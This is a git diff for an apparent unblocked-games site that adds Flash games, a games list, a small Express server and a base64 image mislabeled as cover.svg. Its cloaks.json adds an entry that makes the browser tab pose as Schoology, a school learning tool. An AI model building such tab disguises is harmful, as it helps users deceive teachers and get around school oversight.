diff --git a/cloaks.json b/cloaks.json index 28698317..de31e083 100644 --- a/cloaks.json +++ b/cloaks.json @@ -29,4 +29,7 @@ "quizlet": [ "Your Sets", "https://assets.quizlet.com/a/j/dist/app/i/logo/2021/q-twilight.e27821d9baad165.png" ] + "schoology": [ + "Schoology" "https://technology-mnps.ss13.sharpschool.com/UserFiles/Servers/Server_33575695/Image/Technology/Digital%20Tools/Schoology/Schoology.png" + ] } diff --git a/cmm-client/cover.svg b/cmm-client/cover.svg new file mode 100644 index 00000000..dfa8f1dc --- /dev/null +++ b/cmm-client/cover.svg @@ -0,0 +1 @@ +data:image/jpeg;base64,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 diff --git a/cmm-client/index.html b/cmm-client/index.html new file mode 100644 index 00000000..5755d96a --- /dev/null +++ b/cmm-client/index.html @@ -0,0 +1,37319 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +ALLAH IS THE ONLY GOD + + + + + + + + + + + + + + + + + +
+
+

C.M.M.'s Fuchsia X is a bugfixed version of Fuchsia X coded by C.M.M.

+

(Game will launch in 5)

+
+ + diff --git a/games.json b/games.json index b04b0dbd..bfcec628 100644 --- a/games.json +++ b/games.json @@ -1,4 +1,46 @@ [ + { + "name": "Minesweeper", + "image": "cover.svg", + "directory": "minesweeper", + "recommended": "1" + }, + { + "name": "POOM", + "image": "cover.svg", + "directory": "poom", + "recommended": "1" + }, + { + "name": "Solitaire", + "image": "cover.svg", + "directory": "solitaire", + "recommended": "1" + }, + { + "name": "Spank the Monkey", + "image": "cover.svg", + "directory": "spankthemonkey", + "recommended": "1" + }, + { + "name": "CMM Client", + "image": "cover.svg", + "directory": "cmm-client", + "recommended": "1" + }, + { + "name": "Pool", + "image": "cover.svg", + "directory": "pool", + "recommended": "1" + }, + { + "name": "Yohoho.io", + "image": "cover.svg", + "directory": "yohoho", + "recommended": "1" + }, { "name": "Tube Jumpers", "image": "cover.svg", @@ -48,12 +90,12 @@ "recommended": "1" }, { - "name": "Online Minecraft", + "name": "Resent Client", "directory": "online-mc", "image": "logo.png" }, { - "name": "Offline Minecraft", + "name": "Eaglercraft 1.5.2", "directory": "offline-mc", "image": "logo.png", "recommended": "1" diff --git a/index.js b/index.js new file mode 100644 index 00000000..9750f89d --- /dev/null +++ b/index.js @@ -0,0 +1,46 @@ +const express = require('express'); +const path = require('path'); + +const app = express(); +const port = process.env.PORT || 3000; + + +app.use(express.static(__dirname)); + +app.get('/projects', (req, res) => { + res.sendFile(path.join(__dirname, 'projects.html')); +}); + +app.get('/bookmarklets', (req, res) => { + res.sendFile(path.join(__dirname, 'bookmarklets.html')); +}); + +app.get('/settings', (req, res) => { + res.sendFile(path.join(__dirname, 'settings.html')); +}); + +app.get('/support', (req, res) => { + res.sendFile(path.join(__dirname, 'support.html')); +}); + +app.get('/about', (req, res) => { + res.sendFile(path.join(__dirname, 'about.html')); +}); + +app.get('/transfer', (req, res) => { + res.sendFile(path.join(__dirname, 'transfer.html')); +}); + +app.get('/suggest', (req, res) => { + res.sendFile(path.join(__dirname, 'suggest.html')); +}); + +app.get('/contact', (req, res) => { + res.sendFile(path.join(__dirname, 'contact.html')); +}); + + + +app.listen(port, () => { + console.log(`Selenite is running on port ${port}`); +}); diff --git a/minecraft-tower-defence-2/cover.svg b/minecraft-tower-defence-2/cover.svg new file mode 100644 index 00000000..4f2596a5 --- /dev/null +++ b/minecraft-tower-defence-2/cover.svg @@ -0,0 +1,3 @@ + + + diff --git a/minecraft-tower-defence-2/index.html b/minecraft-tower-defence-2/index.html new file mode 100644 index 00000000..6ce1aa45 --- /dev/null +++ b/minecraft-tower-defence-2/index.html @@ -0,0 +1,2 @@ + + diff --git a/minecraft-tower-defence-2/minecraft-tower-defence-2.swf b/minecraft-tower-defence-2/minecraft-tower-defence-2.swf new file mode 100644 index 00000000..f30520d3 Binary files /dev/null and b/minecraft-tower-defence-2/minecraft-tower-defence-2.swf differ diff --git a/minesweeper/Minesweeper.swf b/minesweeper/Minesweeper.swf new file mode 100644 index 00000000..3632bce6 Binary files /dev/null and b/minesweeper/Minesweeper.swf differ diff --git a/minesweeper/cover.svg b/minesweeper/cover.svg new file mode 100644 index 00000000..e26928d5 --- /dev/null +++ b/minesweeper/cover.svg @@ -0,0 +1,3 @@ + + + diff --git a/minesweeper/index.html b/minesweeper/index.html new file mode 100644 index 00000000..cdbe8ad2 --- /dev/null +++ b/minesweeper/index.html @@ -0,0 +1,2 @@ + + diff --git a/package.json b/package.json new file mode 100644 index 00000000..d5bf155b --- /dev/null +++ b/package.json @@ -0,0 +1,10 @@ +{ + "name": "Bigfoot Games", + "version": "1.0.0", + "scripts": { + "start": "node index.js" + }, + "dependencies": { + "express": "^4.17.1" + } +} diff --git a/pacman/index.html b/pacman/index.html index 3662f054..49204272 100644 --- a/pacman/index.html +++ b/pacman/index.html @@ -1,15 +1,2 @@ - - - - - - jsPacman | JavaScript Ms. Pac-Man Remake - - - -

jsPacman | HTML - CSS - JavaScript | Ms. Pac-Man Remake

-

Play Online Ms. Pac-Man

-
-
- - + + diff --git a/pacman/pacman(www.albinoblacksheep.com).swf b/pacman/pacman(www.albinoblacksheep.com).swf new file mode 100644 index 00000000..3c2951f2 Binary files /dev/null and b/pacman/pacman(www.albinoblacksheep.com).swf differ diff --git a/pool/cover.svg b/pool/cover.svg new file mode 100644 index 00000000..cebd2e79 --- /dev/null +++ b/pool/cover.svg @@ -0,0 +1,3 @@ + + + diff --git a/pool/index.html b/pool/index.html new file mode 100644 index 00000000..2f868ab7 --- /dev/null +++ b/pool/index.html @@ -0,0 +1,2 @@ + + diff --git a/pool/pool.swf b/pool/pool.swf new file mode 100644 index 00000000..403080bb Binary files /dev/null and b/pool/pool.swf differ diff --git a/poom/cover.svg b/poom/cover.svg new file mode 100644 index 00000000..ce3c58f2 --- /dev/null +++ b/poom/cover.svg @@ -0,0 +1,3 @@ + + + diff --git a/poom/index.html b/poom/index.html new file mode 100644 index 00000000..cf915f26 --- /dev/null +++ b/poom/index.html @@ -0,0 +1,2 @@ + + diff --git a/poom/poom(www.albinoblacksheep.com).swf b/poom/poom(www.albinoblacksheep.com).swf new file mode 100644 index 00000000..635774e5 Binary files /dev/null and b/poom/poom(www.albinoblacksheep.com).swf differ diff --git a/quotes.json b/quotes.json index 64fbaade..7bcb2a3b 100644 --- a/quotes.json +++ b/quotes.json @@ -8,6 +8,7 @@ "join the discord NOW", "have any of you played on the og padlet?", "linux is so much better than windows", + "🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸🇵🇸", "chromebooks suck", "technoblade never dies", "Selenite has shut down.", diff --git a/settings.html b/settings.html index 593d526c..91e129be 100644 --- a/settings.html +++ b/settings.html @@ -63,6 +63,7 @@ +
diff --git a/solitaire/cover.svg b/solitaire/cover.svg new file mode 100644 index 00000000..399cfdbd --- /dev/null +++ b/solitaire/cover.svg @@ -0,0 +1,3 @@ + + + diff --git a/solitaire/index.html b/solitaire/index.html new file mode 100644 index 00000000..027ed4e4 --- /dev/null +++ b/solitaire/index.html @@ -0,0 +1,2 @@ + + diff --git a/solitaire/solitaire.swf b/solitaire/solitaire.swf new file mode 100644 index 00000000..bf2f7030 Binary files /dev/null and b/solitaire/solitaire.swf differ diff --git a/spankthemonkey/cover.svg b/spankthemonkey/cover.svg new file mode 100644 index 00000000..e9cae89e --- /dev/null +++ b/spankthemonkey/cover.svg @@ -0,0 +1,3 @@ + + + diff --git a/spankthemonkey/index.html b/spankthemonkey/index.html new file mode 100644 index 00000000..dbd35ad1 --- /dev/null +++ b/spankthemonkey/index.html @@ -0,0 +1,2 @@ + + diff --git a/spankthemonkey/spankthemonkey(www.albinoblacksheep.com).swf b/spankthemonkey/spankthemonkey(www.albinoblacksheep.com).swf new file mode 100644 index 00000000..1df75364 Binary files /dev/null and b/spankthemonkey/spankthemonkey(www.albinoblacksheep.com).swf differ diff --git a/tetris/index.html b/tetris/index.html index 424c2d4c..79fac80d 100644 --- a/tetris/index.html +++ b/tetris/index.html @@ -1,124 +1,2 @@ - - - - - - - TwitchTetris - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
-
- -
-
-
- - - Your browser does not natively support Html5, or the Canvas Tag. Using this browser is slowing the progress of the web. Please get a modern browser, such as Google Chrome or Mozzila FireFox - -
-
-
- Controls:
- - - - - - - - - - - - - - - - - - -
Move BlockSoft DropRotateSave PieceHard DropPause
Left, RightDownZ, X, UpC, ShiftSpaceEsc
-
-
- - - -
-
